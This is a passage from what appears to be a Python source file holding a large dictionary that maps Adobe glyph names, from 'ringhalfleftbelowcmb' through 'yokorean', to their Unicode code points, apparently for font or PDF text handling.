'ringhalfleftbelowcmb': u'\u031C', 'ringhalfleftcentered': u'\u02D3', 'ringhalfright': u'\u02BE', 'ringhalfrightbelowcmb': u'\u0339', 'ringhalfrightcentered': u'\u02D2', 'rinvertedbreve': u'\u0213', 'rittorusquare': u'\u3351', 'rlinebelow': u'\u1E5F', 'rlongleg': u'\u027C', 'rlonglegturned': u'\u027A', 'rmonospace': u'\uFF52', 'rohiragana': u'\u308D', 'rokatakana': u'\u30ED', 'rokatakanahalfwidth': u'\uFF9B', 'roruathai': u'\u0E23', 'rparen': u'\u24AD', 'rrabengali': u'\u09DC', 'rradeva': u'\u0931', 'rragurmukhi': u'\u0A5C', 'rreharabic': u'\u0691', 'rrehfinalarabic': u'\uFB8D', 'rrvocalicbengali': u'\u09E0', 'rrvocalicdeva': u'\u0960', 'rrvocalicgujarati': u'\u0AE0', 'rrvocalicvowelsignbengali': u'\u09C4', 'rrvocalicvowelsigndeva': u'\u0944', 'rrvocalicvowelsigngujarati': u'\u0AC4', 'rsuperior': u'\uF6F1', 'rtblock': u'\u2590', 'rturned': u'\u0279', 'rturnedsuperior': u'\u02B4', 'ruhiragana': u'\u308B', 'rukatakana': u'\u30EB', 'rukatakanahalfwidth': u'\uFF99', 'rupeemarkbengali': u'\u09F2', 'rupeesignbengali': u'\u09F3', 'rupiah': u'\uF6DD', 'ruthai': u'\u0E24', 'rvocalicbengali': u'\u098B', 'rvocalicdeva': u'\u090B', 'rvocalicgujarati': u'\u0A8B', 'rvocalicvowelsignbengali': u'\u09C3', 'rvocalicvowelsigndeva': u'\u0943', 'rvocalicvowelsigngujarati': u'\u0AC3', 's': u'\u0073', 'sabengali': u'\u09B8', 'sacute': u'\u015B', 'sacutedotaccent': u'\u1E65', 'sadarabic': u'\u0635', 'sadeva': u'\u0938', 'sadfinalarabic': u'\uFEBA', 'sadinitialarabic': u'\uFEBB', 'sadmedialarabic': u'\uFEBC', 'sagujarati': u'\u0AB8', 'sagurmukhi': u'\u0A38', 'sahiragana': u'\u3055', 'sakatakana': u'\u30B5', 'sakatakanahalfwidth': u'\uFF7B', 'sallallahoualayhewasallamarabic': u'\uFDFA', 'samekh': u'\u05E1', 'samekhdagesh': u'\uFB41', 'samekhdageshhebrew': u'\uFB41', 'samekhhebrew': u'\u05E1', 'saraaathai': u'\u0E32', 'saraaethai': u'\u0E41', 'saraaimaimalaithai': u'\u0E44', 'saraaimaimuanthai': u'\u0E43', 'saraamthai': u'\u0E33', 'saraathai': u'\u0E30', 'saraethai': u'\u0E40', 'saraiileftthai': u'\uF886', 'saraiithai': u'\u0E35', 'saraileftthai': u'\uF885', 'saraithai': u'\u0E34', 'saraothai': u'\u0E42', 'saraueeleftthai': u'\uF888', 'saraueethai': u'\u0E37', 'saraueleftthai': u'\uF887', 'sarauethai': u'\u0E36', 'sarauthai': u'\u0E38', 'sarauuthai': u'\u0E39', 'sbopomofo': u'\u3119', 'scaron': u'\u0161', 'scarondotaccent': u'\u1E67', 'scedilla': u'\u015F', 'schwa': u'\u0259', 'schwacyrillic': u'\u04D9', 'schwadieresiscyrillic': u'\u04DB', 'schwahook': u'\u025A', 'scircle': u'\u24E2', 'scircumflex': u'\u015D', 'scommaaccent': u'\u0219', 'sdotaccent': u'\u1E61', 'sdotbelow': u'\u1E63', 'sdotbelowdotaccent': u'\u1E69', 'seagullbelowcmb': u'\u033C', 'second': u'\u2033', 'secondtonechinese': u'\u02CA', 'section': u'\u00A7', 'seenarabic': u'\u0633', 'seenfinalarabic': u'\uFEB2', 'seeninitialarabic': u'\uFEB3', 'seenmedialarabic': u'\uFEB4', 'segol': u'\u05B6', 'segol13': u'\u05B6', 'segol1f': u'\u05B6', 'segol2c': u'\u05B6', 'segolhebrew': u'\u05B6', 'segolnarrowhebrew': u'\u05B6', 'segolquarterhebrew': u'\u05B6', 'segoltahebrew': u'\u0592', 'segolwidehebrew': u'\u05B6', 'seharmenian': u'\u057D', 'sehiragana': u'\u305B', 'sekatakana': u'\u30BB', 'sekatakanahalfwidth': u'\uFF7E', 'semicolon': u'\u003B', 'semicolonarabic': u'\u061B', 'semicolonmonospace': u'\uFF1B', 'semicolonsmall': u'\uFE54', 'semivoicedmarkkana': u'\u309C', 'semivoicedmarkkanahalfwidth': u'\uFF9F', 'sentisquare': u'\u3322', 'sentosquare': u'\u3323', 'seven': u'\u0037', 'sevenarabic': u'\u0667', 'sevenbengali': u'\u09ED', 'sevencircle': u'\u2466', 'sevencircleinversesansserif': u'\u2790', 'sevendeva': u'\u096D', 'seveneighths': u'\u215E', 'sevengujarati': u'\u0AED', 'sevengurmukhi': u'\u0A6D', 'sevenhackarabic': u'\u0667', 'sevenhangzhou': u'\u3027', 'sevenideographicparen': u'\u3226', 'seveninferior': u'\u2087', 'sevenmonospace': u'\uFF17', 'sevenoldstyle': u'\uF737', 'sevenparen': u'\u247A', 'sevenperiod': u'\u248E', 'sevenpersian': u'\u06F7', 'sevenroman': u'\u2176', 'sevensuperior': u'\u2077', 'seventeencircle': u'\u2470', 'seventeenparen': u'\u2484', 'seventeenperiod': u'\u2498', 'seventhai': u'\u0E57', 'sfthyphen': u'\u00AD', 'shaarmenian': u'\u0577', 'shabengali': u'\u09B6', 'shacyrillic': u'\u0448', 'shaddaarabic': u'\u0651', 'shaddadammaarabic': u'\uFC61', 'shaddadammatanarabic': u'\uFC5E', 'shaddafathaarabic': u'\uFC60', 'shaddafathatanarabic': u'\u0651\u064B', 'shaddakasraarabic': u'\uFC62', 'shaddakasratanarabic': u'\uFC5F', 'shade': u'\u2592', 'shadedark': u'\u2593', 'shadelight': u'\u2591', 'shademedium': u'\u2592', 'shadeva': u'\u0936', 'shagujarati': u'\u0AB6', 'shagurmukhi': u'\u0A36', 'shalshelethebrew': u'\u0593', 'shbopomofo': u'\u3115', 'shchacyrillic': u'\u0449', 'sheenarabic': u'\u0634', 'sheenfinalarabic': u'\uFEB6', 'sheeninitialarabic': u'\uFEB7', 'sheenmedialarabic': u'\uFEB8', 'sheicoptic': u'\u03E3', 'sheqel': u'\u20AA', 'sheqelhebrew': u'\u20AA', 'sheva': u'\u05B0', 'sheva115': u'\u05B0', 'sheva15': u'\u05B0', 'sheva22': u'\u05B0', 'sheva2e': u'\u05B0', 'shevahebrew': u'\u05B0', 'shevanarrowhebrew': u'\u05B0', 'shevaquarterhebrew': u'\u05B0', 'shevawidehebrew': u'\u05B0', 'shhacyrillic': u'\u04BB', 'shimacoptic': u'\u03ED', 'shin': u'\u05E9', 'shindagesh': u'\uFB49', 'shindageshhebrew': u'\uFB49', 'shindageshshindot': u'\uFB2C', 'shindageshshindothebrew': u'\uFB2C', 'shindageshsindot': u'\uFB2D', 'shindageshsindothebrew': u'\uFB2D', 'shindothebrew': u'\u05C1', 'shinhebrew': u'\u05E9', 'shinshindot': u'\uFB2A', 'shinshindothebrew': u'\uFB2A', 'shinsindot': u'\uFB2B', 'shinsindothebrew': u'\uFB2B', 'shook': u'\u0282', 'sigma': u'\u03C3', 'sigma1': u'\u03C2', 'sigmafinal': u'\u03C2', 'sigmalunatesymbolgreek': u'\u03F2', 'sihiragana': u'\u3057', 'sikatakana': u'\u30B7', 'sikatakanahalfwidth': u'\uFF7C', 'siluqhebrew': u'\u05BD', 'siluqlefthebrew': u'\u05BD', 'similar': u'\u223C', 'sindothebrew': u'\u05C2', 'siosacirclekorean': u'\u3274', 'siosaparenkorean': u'\u3214', 'sioscieuckorean': u'\u317E', 'sioscirclekorean': u'\u3266', 'sioskiyeokkorean': u'\u317A', 'sioskorean': u'\u3145', 'siosnieunkorean': u'\u317B', 'siosparenkorean': u'\u3206', 'siospieupkorean': u'\u317D', 'siostikeutkorean': u'\u317C', 'six': u'\u0036', 'sixarabic': u'\u0666', 'sixbengali': u'\u09EC', 'sixcircle': u'\u2465', 'sixcircleinversesansserif': u'\u278F', 'sixdeva': u'\u096C', 'sixgujarati': u'\u0AEC', 'sixgurmukhi': u'\u0A6C', 'sixhackarabic': u'\u0666', 'sixhangzhou': u'\u3026', 'sixideographicparen': u'\u3225', 'sixinferior': u'\u2086', 'sixmonospace': u'\uFF16', 'sixoldstyle': u'\uF736', 'sixparen': u'\u2479', 'sixperiod': u'\u248D', 'sixpersian': u'\u06F6', 'sixroman': u'\u2175', 'sixsuperior': u'\u2076', 'sixteencircle': u'\u246F', 'sixteencurrencydenominatorbengali': u'\u09F9', 'sixteenparen': u'\u2483', 'sixteenperiod': u'\u2497', 'sixthai': u'\u0E56', 'slash': u'\u002F', 'slashmonospace': u'\uFF0F', 'slong': u'\u017F', 'slongdotaccent': u'\u1E9B', 'smileface': u'\u263A', 'smonospace': u'\uFF53', 'sofpasuqhebrew': u'\u05C3', 'softhyphen': u'\u00AD', 'softsigncyrillic': u'\u044C', 'sohiragana': u'\u305D', 'sokatakana': u'\u30BD', 'sokatakanahalfwidth': u'\uFF7F', 'soliduslongoverlaycmb': u'\u0338', 'solidusshortoverlaycmb': u'\u0337', 'sorusithai': u'\u0E29', 'sosalathai': u'\u0E28', 'sosothai': u'\u0E0B', 'sosuathai': u'\u0E2A', 'space': u'\u0020', 'spacehackarabic': u'\u0020', 'spade': u'\u2660', 'spadesuitblack': u'\u2660', 'spadesuitwhite': u'\u2664', 'sparen': u'\u24AE', 'squarebelowcmb': u'\u033B', 'squarecc': u'\u33C4', 'squarecm': u'\u339D', 'squarediagonalcrosshatchfill': u'\u25A9', 'squarehorizontalfill': u'\u25A4', 'squarekg': u'\u338F', 'squarekm': u'\u339E', 'squarekmcapital': u'\u33CE', 'squareln': u'\u33D1', 'squarelog': u'\u33D2', 'squaremg': u'\u338E', 'squaremil': u'\u33D5', 'squaremm': u'\u339C', 'squaremsquared': u'\u33A1', 'squareorthogonalcrosshatchfill': u'\u25A6', 'squareupperlefttolowerrightfill': u'\u25A7', 'squareupperrighttolowerleftfill': u'\u25A8', 'squareverticalfill': u'\u25A5', 'squarewhitewithsmallblack': u'\u25A3', 'srsquare': u'\u33DB', 'ssabengali': u'\u09B7', 'ssadeva': u'\u0937', 'ssagujarati': u'\u0AB7', 'ssangcieuckorean': u'\u3149', 'ssanghieuhkorean': u'\u3185', 'ssangieungkorean': u'\u3180', 'ssangkiyeokkorean': u'\u3132', 'ssangnieunkorean': u'\u3165', 'ssangpieupkorean': u'\u3143', 'ssangsioskorean': u'\u3146', 'ssangtikeutkorean': u'\u3138', 'ssuperior': u'\uF6F2', 'sterling': u'\u00A3', 'sterlingmonospace': u'\uFFE1', 'strokelongoverlaycmb': u'\u0336', 'strokeshortoverlaycmb': u'\u0335', 'subset': u'\u2282', 'subsetnotequal': u'\u228A', 'subsetorequal': u'\u2286', 'succeeds': u'\u227B', 'suchthat': u'\u220B', 'suhiragana': u'\u3059', 'sukatakana': u'\u30B9', 'sukatakanahalfwidth': u'\uFF7D', 'sukunarabic': u'\u0652', 'summation': u'\u2211', 'sun': u'\u263C', 'superset': u'\u2283', 'supersetnotequal': u'\u228B', 'supersetorequal': u'\u2287', 'svsquare': u'\u33DC', 'syouwaerasquare': u'\u337C', 't': u'\u0074', 'tabengali': u'\u09A4', 'tackdown': u'\u22A4', 'tackleft': u'\u22A3', 'tadeva': u'\u0924', 'tagujarati': u'\u0AA4', 'tagurmukhi': u'\u0A24', 'taharabic': u'\u0637', 'tahfinalarabic': u'\uFEC2', 'tahinitialarabic': u'\uFEC3', 'tahiragana': u'\u305F', 'tahmedialarabic': u'\uFEC4', 'taisyouerasquare': u'\u337D', 'takatakana': u'\u30BF', 'takatakanahalfwidth': u'\uFF80', 'tatweelarabic': u'\u0640', 'tau': u'\u03C4', 'tav': u'\u05EA', 'tavdages': u'\uFB4A', 'tavdagesh': u'\uFB4A', 'tavdageshhebrew': u'\uFB4A', 'tavhebrew': u'\u05EA', 'tbar': u'\u0167', 'tbopomofo': u'\u310A', 'tcaron': u'\u0165', 'tccurl': u'\u02A8', 'tcedilla': u'\u0163', 'tcheharabic': u'\u0686', 'tchehfinalarabic': u'\uFB7B', 'tchehinitialarabic': u'\uFB7C', 'tchehmedialarabic': u'\uFB7D', 'tchehmeeminitialarabic': u'\uFB7C\uFEE4', 'tcircle': u'\u24E3', 'tcircumflexbelow': u'\u1E71', 'tcommaaccent': u'\u0163', 'tdieresis': u'\u1E97', 'tdotaccent': u'\u1E6B', 'tdotbelow': u'\u1E6D', 'tecyrillic': u'\u0442', 'tedescendercyrillic': u'\u04AD', 'teharabic': u'\u062A', 'tehfinalarabic': u'\uFE96', 'tehhahinitialarabic': u'\uFCA2', 'tehhahisolatedarabic': u'\uFC0C', 'tehinitialarabic': u'\uFE97', 'tehiragana': u'\u3066', 'tehjeeminitialarabic': u'\uFCA1', 'tehjeemisolatedarabic': u'\uFC0B', 'tehmarbutaarabic': u'\u0629', 'tehmarbutafinalarabic': u'\uFE94', 'tehmedialarabic': u'\uFE98', 'tehmeeminitialarabic': u'\uFCA4', 'tehmeemisolatedarabic': u'\uFC0E', 'tehnoonfinalarabic': u'\uFC73', 'tekatakana': u'\u30C6', 'tekatakanahalfwidth': u'\uFF83', 'telephone': u'\u2121', 'telephoneblack': u'\u260E', 'telishagedolahebrew': u'\u05A0', 'telishaqetanahebrew': u'\u05A9', 'tencircle': u'\u2469', 'tenideographicparen': u'\u3229', 'tenparen': u'\u247D', 'tenperiod': u'\u2491', 'tenroman': u'\u2179', 'tesh': u'\u02A7', 'tet': u'\u05D8', 'tetdagesh': u'\uFB38', 'tetdageshhebrew': u'\uFB38', 'tethebrew': u'\u05D8', 'tetsecyrillic': u'\u04B5', 'tevirhebrew': u'\u059B', 'tevirlefthebrew': u'\u059B', 'thabengali': u'\u09A5', 'thadeva': u'\u0925', 'thagujarati': u'\u0AA5', 'thagurmukhi': u'\u0A25', 'thalarabic': u'\u0630', 'thalfinalarabic': u'\uFEAC', 'thanthakhatlowleftthai': u'\uF898', 'thanthakhatlowrightthai': u'\uF897', 'thanthakhatthai': u'\u0E4C', 'thanthakhatupperleftthai': u'\uF896', 'theharabic': u'\u062B', 'thehfinalarabic': u'\uFE9A', 'thehinitialarabic': u'\uFE9B', 'thehmedialarabic': u'\uFE9C', 'thereexists': u'\u2203', 'therefore': u'\u2234', 'theta': u'\u03B8', 'theta1': u'\u03D1', 'thetasymbolgreek': u'\u03D1', 'thieuthacirclekorean': u'\u3279', 'thieuthaparenkorean': u'\u3219', 'thieuthcirclekorean': u'\u326B', 'thieuthkorean': u'\u314C', 'thieuthparenkorean': u'\u320B', 'thirteencircle': u'\u246C', 'thirteenparen': u'\u2480', 'thirteenperiod': u'\u2494', 'thonangmonthothai': u'\u0E11', 'thook': u'\u01AD', 'thophuthaothai': u'\u0E12', 'thorn': u'\u00FE', 'thothahanthai': u'\u0E17', 'thothanthai': u'\u0E10', 'thothongthai': u'\u0E18', 'thothungthai': u'\u0E16', 'thousandcyrillic': u'\u0482', 'thousandsseparatorarabic': u'\u066C', 'thousandsseparatorpersian': u'\u066C', 'three': u'\u0033', 'threearabic': u'\u0663', 'threebengali': u'\u09E9', 'threecircle': u'\u2462', 'threecircleinversesansserif': u'\u278C', 'threedeva': u'\u0969', 'threeeighths': u'\u215C', 'threegujarati': u'\u0AE9', 'threegurmukhi': u'\u0A69', 'threehackarabic': u'\u0663', 'threehangzhou': u'\u3023', 'threeideographicparen': u'\u3222', 'threeinferior': u'\u2083', 'threemonospace': u'\uFF13', 'threenumeratorbengali': u'\u09F6', 'threeoldstyle': u'\uF733', 'threeparen': u'\u2476', 'threeperiod': u'\u248A', 'threepersian': u'\u06F3', 'threequarters': u'\u00BE', 'threequartersemdash': u'\uF6DE', 'threeroman': u'\u2172', 'threesuperior': u'\u00B3', 'threethai': u'\u0E53', 'thzsquare': u'\u3394', 'tihiragana': u'\u3061', 'tikatakana': u'\u30C1', 'tikatakanahalfwidth': u'\uFF81', 'tikeutacirclekorean': u'\u3270', 'tikeutaparenkorean': u'\u3210', 'tikeutcirclekorean': u'\u3262', 'tikeutkorean': u'\u3137', 'tikeutparenkorean': u'\u3202', 'tilde': u'\u02DC', 'tildebelowcmb': u'\u0330', 'tildecmb': u'\u0303', 'tildecomb': u'\u0303', 'tildedoublecmb': u'\u0360', 'tildeoperator': u'\u223C', 'tildeoverlaycmb': u'\u0334', 'tildeverticalcmb': u'\u033E', 'timescircle': u'\u2297', 'tipehahebrew': u'\u0596', 'tipehalefthebrew': u'\u0596', 'tippigurmukhi': u'\u0A70', 'titlocyrilliccmb': u'\u0483', 'tiwnarmenian': u'\u057F', 'tlinebelow': u'\u1E6F', 'tmonospace': u'\uFF54', 'toarmenian': u'\u0569', 'tohiragana': u'\u3068', 'tokatakana': u'\u30C8', 'tokatakanahalfwidth': u'\uFF84', 'tonebarextrahighmod': u'\u02E5', 'tonebarextralowmod': u'\u02E9', 'tonebarhighmod': u'\u02E6', 'tonebarlowmod': u'\u02E8', 'tonebarmidmod': u'\u02E7', 'tonefive': u'\u01BD', 'tonesix': u'\u0185', 'tonetwo': u'\u01A8', 'tonos': u'\u0384', 'tonsquare': u'\u3327', 'topatakthai': u'\u0E0F', 'tortoiseshellbracketleft': u'\u3014', 'tortoiseshellbracketleftsmall': u'\uFE5D', 'tortoiseshellbracketleftvertical': u'\uFE39', 'tortoiseshellbracketright': u'\u3015', 'tortoiseshellbracketrightsmall': u'\uFE5E', 'tortoiseshellbracketrightvertical': u'\uFE3A', 'totaothai': u'\u0E15', 'tpalatalhook': u'\u01AB', 'tparen': u'\u24AF', 'trademark': u'\u2122', 'trademarksans': u'\uF8EA', 'trademarkserif': u'\uF6DB', 'tretroflexhook': u'\u0288', 'triagdn': u'\u25BC', 'triaglf': u'\u25C4', 'triagrt': u'\u25BA', 'triagup': u'\u25B2', 'ts': u'\u02A6', 'tsadi': u'\u05E6', 'tsadidagesh': u'\uFB46', 'tsadidageshhebrew': u'\uFB46', 'tsadihebrew': u'\u05E6', 'tsecyrillic': u'\u0446', 'tsere': u'\u05B5', 'tsere12': u'\u05B5', 'tsere1e': u'\u05B5', 'tsere2b': u'\u05B5', 'tserehebrew': u'\u05B5', 'tserenarrowhebrew': u'\u05B5', 'tserequarterhebrew': u'\u05B5', 'tserewidehebrew': u'\u05B5', 'tshecyrillic': u'\u045B', 'tsuperior': u'\uF6F3', 'ttabengali': u'\u099F', 'ttadeva': u'\u091F', 'ttagujarati': u'\u0A9F', 'ttagurmukhi': u'\u0A1F', 'tteharabic': u'\u0679', 'ttehfinalarabic': u'\uFB67', 'ttehinitialarabic': u'\uFB68', 'ttehmedialarabic': u'\uFB69', 'tthabengali': u'\u09A0', 'tthadeva': u'\u0920', 'tthagujarati': u'\u0AA0', 'tthagurmukhi': u'\u0A20', 'tturned': u'\u0287', 'tuhiragana': u'\u3064', 'tukatakana': u'\u30C4', 'tukatakanahalfwidth': u'\uFF82', 'tusmallhiragana': u'\u3063', 'tusmallkatakana': u'\u30C3', 'tusmallkatakanahalfwidth': u'\uFF6F', 'twelvecircle': u'\u246B', 'twelveparen': u'\u247F', 'twelveperiod': u'\u2493', 'twelveroman': u'\u217B', 'twentycircle': u'\u2473', 'twentyhangzhou': u'\u5344', 'twentyparen': u'\u2487', 'twentyperiod': u'\u249B', 'two': u'\u0032', 'twoarabic': u'\u0662', 'twobengali': u'\u09E8', 'twocircle': u'\u2461', 'twocircleinversesansserif': u'\u278B', 'twodeva': u'\u0968', 'twodotenleader': u'\u2025', 'twodotleader': u'\u2025', 'twodotleadervertical': u'\uFE30', 'twogujarati': u'\u0AE8', 'twogurmukhi': u'\u0A68', 'twohackarabic': u'\u0662', 'twohangzhou': u'\u3022', 'twoideographicparen': u'\u3221', 'twoinferior': u'\u2082', 'twomonospace': u'\uFF12', 'twonumeratorbengali': u'\u09F5', 'twooldstyle': u'\uF732', 'twoparen': u'\u2475', 'twoperiod': u'\u2489', 'twopersian': u'\u06F2', 'tworoman': u'\u2171', 'twostroke': u'\u01BB', 'twosuperior': u'\u00B2', 'twothai': u'\u0E52', 'twothirds': u'\u2154', 'u': u'\u0075', 'uacute': u'\u00FA', 'ubar': u'\u0289', 'ubengali': u'\u0989', 'ubopomofo': u'\u3128', 'ubreve': u'\u016D', 'ucaron': u'\u01D4', 'ucircle': u'\u24E4', 'ucircumflex': u'\u00FB', 'ucircumflexbelow': u'\u1E77', 'ucyrillic': u'\u0443', 'udattadeva': u'\u0951', 'udblacute': u'\u0171', 'udblgrave': u'\u0215', 'udeva': u'\u0909', 'udieresis': u'\u00FC', 'udieresisacute': u'\u01D8', 'udieresisbelow': u'\u1E73', 'udieresiscaron': u'\u01DA', 'udieresiscyrillic': u'\u04F1', 'udieresisgrave': u'\u01DC', 'udieresismacron': u'\u01D6', 'udotbelow': u'\u1EE5', 'ugrave': u'\u00F9', 'ugujarati': u'\u0A89', 'ugurmukhi': u'\u0A09', 'uhiragana': u'\u3046', 'uhookabove': u'\u1EE7', 'uhorn': u'\u01B0', 'uhornacute': u'\u1EE9', 'uhorndotbelow': u'\u1EF1', 'uhorngrave': u'\u1EEB', 'uhornhookabove': u'\u1EED', 'uhorntilde': u'\u1EEF', 'uhungarumlaut': u'\u0171', 'uhungarumlautcyrillic': u'\u04F3', 'uinvertedbreve': u'\u0217', 'ukatakana': u'\u30A6', 'ukatakanahalfwidth': u'\uFF73', 'ukcyrillic': u'\u0479', 'ukorean': u'\u315C', 'umacron': u'\u016B', 'umacroncyrillic': u'\u04EF', 'umacrondieresis': u'\u1E7B', 'umatragurmukhi': u'\u0A41', 'umonospace': u'\uFF55', 'underscore': u'\u005F', 'underscoredbl': u'\u2017', 'underscoremonospace': u'\uFF3F', 'underscorevertical': u'\uFE33', 'underscorewavy': u'\uFE4F', 'union': u'\u222A', 'universal': u'\u2200', 'uogonek': u'\u0173', 'uparen': u'\u24B0', 'upblock': u'\u2580', 'upperdothebrew': u'\u05C4', 'upsilon': u'\u03C5', 'upsilondieresis': u'\u03CB', 'upsilondieresistonos': u'\u03B0', 'upsilonlatin': u'\u028A', 'upsilontonos': u'\u03CD', 'uptackbelowcmb': u'\u031D', 'uptackmod': u'\u02D4', 'uragurmukhi': u'\u0A73', 'uring': u'\u016F', 'ushortcyrillic': u'\u045E', 'usmallhiragana': u'\u3045', 'usmallkatakana': u'\u30A5', 'usmallkatakanahalfwidth': u'\uFF69', 'ustraightcyrillic': u'\u04AF', 'ustraightstrokecyrillic': u'\u04B1', 'utilde': u'\u0169', 'utildeacute': u'\u1E79', 'utildebelow': u'\u1E75', 'uubengali': u'\u098A', 'uudeva': u'\u090A', 'uugujarati': u'\u0A8A', 'uugurmukhi': u'\u0A0A', 'uumatragurmukhi': u'\u0A42', 'uuvowelsignbengali': u'\u09C2', 'uuvowelsigndeva': u'\u0942', 'uuvowelsigngujarati': u'\u0AC2', 'uvowelsignbengali': u'\u09C1', 'uvowelsigndeva': u'\u0941', 'uvowelsigngujarati': u'\u0AC1', 'v': u'\u0076', 'vadeva': u'\u0935', 'vagujarati': u'\u0AB5', 'vagurmukhi': u'\u0A35', 'vakatakana': u'\u30F7', 'vav': u'\u05D5', 'vavdagesh': u'\uFB35', 'vavdagesh65': u'\uFB35', 'vavdageshhebrew': u'\uFB35', 'vavhebrew': u'\u05D5', 'vavholam': u'\uFB4B', 'vavholamhebrew': u'\uFB4B', 'vavvavhebrew': u'\u05F0', 'vavyodhebrew': u'\u05F1', 'vcircle': u'\u24E5', 'vdotbelow': u'\u1E7F', 'vecyrillic': u'\u0432', 'veharabic': u'\u06A4', 'vehfinalarabic': u'\uFB6B', 'vehinitialarabic': u'\uFB6C', 'vehmedialarabic': u'\uFB6D', 'vekatakana': u'\u30F9', 'venus': u'\u2640', 'verticalbar': u'\u007C', 'verticallineabovecmb': u'\u030D', 'verticallinebelowcmb': u'\u0329', 'verticallinelowmod': u'\u02CC', 'verticallinemod': u'\u02C8', 'vewarmenian': u'\u057E', 'vhook': u'\u028B', 'vikatakana': u'\u30F8', 'viramabengali': u'\u09CD', 'viramadeva': u'\u094D', 'viramagujarati': u'\u0ACD', 'visargabengali': u'\u0983', 'visargadeva': u'\u0903', 'visargagujarati': u'\u0A83', 'vmonospace': u'\uFF56', 'voarmenian': u'\u0578', 'voicediterationhiragana': u'\u309E', 'voicediterationkatakana': u'\u30FE', 'voicedmarkkana': u'\u309B', 'voicedmarkkanahalfwidth': u'\uFF9E', 'vokatakana': u'\u30FA', 'vparen': u'\u24B1', 'vtilde': u'\u1E7D', 'vturned': u'\u028C', 'vuhiragana': u'\u3094', 'vukatakana': u'\u30F4', 'w': u'\u0077', 'wacute': u'\u1E83', 'waekorean': u'\u3159', 'wahiragana': u'\u308F', 'wakatakana': u'\u30EF', 'wakatakanahalfwidth': u'\uFF9C', 'wakorean': u'\u3158', 'wasmallhiragana': u'\u308E', 'wasmallkatakana': u'\u30EE', 'wattosquare': u'\u3357', 'wavedash': u'\u301C', 'wavyunderscorevertical': u'\uFE34', 'wawarabic': u'\u0648', 'wawfinalarabic': u'\uFEEE', 'wawhamzaabovearabic': u'\u0624', 'wawhamzaabovefinalarabic': u'\uFE86', 'wbsquare': u'\u33DD', 'wcircle': u'\u24E6', 'wcircumflex': u'\u0175', 'wdieresis': u'\u1E85', 'wdotaccent': u'\u1E87', 'wdotbelow': u'\u1E89', 'wehiragana': u'\u3091', 'weierstrass': u'\u2118', 'wekatakana': u'\u30F1', 'wekorean': u'\u315E', 'weokorean': u'\u315D', 'wgrave': u'\u1E81', 'whitebullet': u'\u25E6', 'whitecircle': u'\u25CB', 'whitecircleinverse': u'\u25D9', 'whitecornerbracketleft': u'\u300E', 'whitecornerbracketleftvertical': u'\uFE43', 'whitecornerbracketright': u'\u300F', 'whitecornerbracketrightvertical': u'\uFE44', 'whitediamond': u'\u25C7', 'whitediamondcontainingblacksmalldiamond': u'\u25C8', 'whitedownpointingsmalltriangle': u'\u25BF', 'whitedownpointingtriangle': u'\u25BD', 'whiteleftpointingsmalltriangle': u'\u25C3', 'whiteleftpointingtriangle': u'\u25C1', 'whitelenticularbracketleft': u'\u3016', 'whitelenticularbracketright': u'\u3017', 'whiterightpointingsmalltriangle': u'\u25B9', 'whiterightpointingtriangle': u'\u25B7', 'whitesmallsquare': u'\u25AB', 'whitesmilingface': u'\u263A', 'whitesquare': u'\u25A1', 'whitestar': u'\u2606', 'whitetelephone': u'\u260F', 'whitetortoiseshellbracketleft': u'\u3018', 'whitetortoiseshellbracketright': u'\u3019', 'whiteuppointingsmalltriangle': u'\u25B5', 'whiteuppointingtriangle': u'\u25B3', 'wihiragana': u'\u3090', 'wikatakana': u'\u30F0', 'wikorean': u'\u315F', 'wmonospace': u'\uFF57', 'wohiragana': u'\u3092', 'wokatakana': u'\u30F2', 'wokatakanahalfwidth': u'\uFF66', 'won': u'\u20A9', 'wonmonospace': u'\uFFE6', 'wowaenthai': u'\u0E27', 'wparen': u'\u24B2', 'wring': u'\u1E98', 'wsuperior': u'\u02B7', 'wturned': u'\u028D', 'wynn': u'\u01BF', 'x': u'\u0078', 'xabovecmb': u'\u033D', 'xbopomofo': u'\u3112', 'xcircle': u'\u24E7', 'xdieresis': u'\u1E8D', 'xdotaccent': u'\u1E8B', 'xeharmenian': u'\u056D', 'xi': u'\u03BE', 'xmonospace': u'\uFF58', 'xparen': u'\u24B3', 'xsuperior': u'\u02E3', 'y': u'\u0079', 'yaadosquare': u'\u334E', 'yabengali': u'\u09AF', 'yacute': u'\u00FD', 'yadeva': u'\u092F', 'yaekorean': u'\u3152', 'yagujarati': u'\u0AAF', 'yagurmukhi': u'\u0A2F', 'yahiragana': u'\u3084', 'yakatakana': u'\u30E4', 'yakatakanahalfwidth': u'\uFF94', 'yakorean': u'\u3151', 'yamakkanthai': u'\u0E4E', 'yasmallhiragana': u'\u3083', 'yasmallkatakana': u'\u30E3', 'yasmallkatakanahalfwidth': u'\uFF6C', 'yatcyrillic': u'\u0463', 'ycircle': u'\u24E8', 'ycircumflex': u'\u0177', 'ydieresis': u'\u00FF', 'ydotaccent': u'\u1E8F', 'ydotbelow': u'\u1EF5', 'yeharabic': u'\u064A', 'yehbarreearabic': u'\u06D2', 'yehbarreefinalarabic': u'\uFBAF', 'yehfinalarabic': u'\uFEF2', 'yehhamzaabovearabic': u'\u0626', 'yehhamzaabovefinalarabic': u'\uFE8A', 'yehhamzaaboveinitialarabic': u'\uFE8B', 'yehhamzaabovemedialarabic': u'\uFE8C', 'yehinitialarabic': u'\uFEF3', 'yehmedialarabic': u'\uFEF4', 'yehmeeminitialarabic': u'\uFCDD', 'yehmeemisolatedarabic': u'\uFC58', 'yehnoonfinalarabic': u'\uFC94', 'yehthreedotsbelowarabic': u'\u06D1', 'yekorean': u'\u3156', 'yen': u'\u00A5', 'yenmonospace': u'\uFFE5', 'yeokorean': u'\u3155', 'yeorinhieuhkorean': u'\u3186', 'yerahbenyomohebrew': u'\u05AA', 'yerahbenyomolefthebrew': u'\u05AA', 'yericyrillic': u'\u044B', 'yerudieresiscyrillic': u'\u04F9', 'yesieungkorean': u'\u3181', 'yesieungpansioskorean': u'\u3183', 'yesieungsioskorean': u'\u3182', 'yetivhebrew': u'\u059A', 'ygrave': u'\u1EF3', 'yhook': u'\u01B4', 'yhookabove': u'\u1EF7', 'yiarmenian': u'\u0575', 'yicyrillic': u'\u0457', 'yikorean': u'\u3162', 'yinyang': u'\u262F', 'yiwnarmenian': u'\u0582', 'ymonospace': u'\uFF59', 'yod': u'\u05D9', 'yoddagesh': u'\uFB39', 'yoddageshhebrew': u'\uFB39', 'yodhebrew': u'\u05D9', 'yodyodhebrew': u'\u05F2', 'yodyodpatahhebrew': u'\uFB1F', 'yohiragana': u'\u3088', 'yoikorean': u'\u3189', 'yokatakana': u'\u30E8', 'yokatakanahalfwidth': u'\uFF96', 'yokorean': 